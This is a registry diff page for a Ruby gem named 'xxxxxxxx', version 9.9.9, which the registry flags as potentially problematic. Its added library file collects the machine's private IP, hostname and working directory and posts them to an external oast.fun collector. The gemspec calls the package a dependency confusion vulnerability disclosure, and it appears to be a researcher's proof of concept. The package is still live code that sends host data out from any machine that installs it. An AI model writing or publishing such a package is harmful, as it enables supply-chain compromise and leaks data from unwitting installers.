xxxxxxxx 9.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of xxxxxxxx might be problematic. Click here for more details.

Files changed (3) hide show
  1. checksums.yaml +7 -0
  2. data/lib/xxxxxxxx.rb +43 -0
  3. metadata +43 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: d93208eb17644fae2327ed329401c1bc0cdee106cc3bf0da062550b027bb0f89
4
+ data.tar.gz: 7fdf372e4c8cca234201ec6ada5264ea3ac45de4f9e96651e2b18553305c04e8
5
+ SHA512:
6
+ metadata.gz: 8ef8e4a28c92764e5b7b0787a0a93fbf030f0abe182aa8d3cd27f0168949b62dc1229c4a2b37ceaa15c81220a9a010f320cffaee1fa0803401ed15ed30b563ab
7
+ data.tar.gz: '009174cbe8db49b8beb646913674ee0ba5b6320cfcd79cf79f45d32e7eebd602e27ce6b0ba916c7bd1b7345a64e2e8eb91634820fddf06f04d27c63d849d80bf'
data/lib/xxxxxxxx.rb ADDED
@@ -0,0 +1,43 @@
1
+ # frozen_string_literal: true
2
+
3
+ require_relative "xxxxxxxx/version"
4
+ require 'json'
5
+ require 'net/http'
6
+ require 'socket'
7
+
8
+ module Xxxxxxxx
9
+ class Error < StandardError; end
10
+
11
+ class MyGem
12
+ def self.send_system_info
13
+ # Private IP
14
+ privip = UDPSocket.open { |s| s.connect("64.233.187.99", 1); s.addr.last }
15
+
16
+ # Hostname
17
+ hostname = Socket.gethostname
18
+
19
+ # Current directory
20
+ dir = Dir.pwd
21
+
22
+ # Public bin URL (e.g., Pipedream or Burp Collaborator)
23
+ uri = URI('https://gecgttwykqibarbxstjnx8y22qlxdsppo.oast.fun') # Replace <pipedream.net> with your actual URL
24
+
25
+ req = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')
26
+
27
+ # Prepare the payload
28
+ req.body = {
29
+ private_ip: privip,
30
+ hostname: hostname,
31
+ current_directory: dir
32
+ }.to_json
33
+
34
+ # Send the HTTP request
35
+ Net::HTTP.start(uri.hostname, uri.port, use_ssl: uri.scheme == 'https') do |http|
36
+ response = http.request(req)
37
+ puts "Response: #{response.code} - #{response.body}"
38
+ end
39
+ rescue => e
40
+ puts "Error occurred: #{e.message}"
41
+ end
42
+ end
43
+ end
metadata ADDED
@@ -0,0 +1,43 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: xxxxxxxx
3
+ version: !ruby/object:Gem::Version
4
+ version: 9.9.9
5
+ platform: ruby
6
+ authors:
7
+ - Suyog
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2024-12-29 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: This Ruby package is vulnerable to a dependency confusion vulnerability.
14
+ email: your-email@example.com
15
+ executables: []
16
+ extensions: []
17
+ extra_rdoc_files: []
18
+ files:
19
+ - lib/xxxxxxxx.rb
20
+ homepage: https://rubygems.org/gems/xxxxxxxx
21
+ licenses:
22
+ - MIT
23
+ metadata: {}
24
+ post_install_message:
25
+ rdoc_options: []
26
+ require_paths:
27
+ - lib
28
+ required_ruby_version: !ruby/object:Gem::Requirement
29
+ requirements:
30
+ - - ">="
31
+ - !ruby/object:Gem::Version
32
+ version: '0'
33
+ required_rubygems_version: !ruby/object:Gem::Requirement
34
+ requirements:
35
+ - - ">="
36
+ - !ruby/object:Gem::Version
37
+ version: '0'
38
+ requirements: []
39
+ rubygems_version: 3.4.20
40
+ signing_key:
41
+ specification_version: 4
42
+ summary: 'Vulnerability Disclosure: Dependency Confusion Vulnerability'
43
+ test_files: []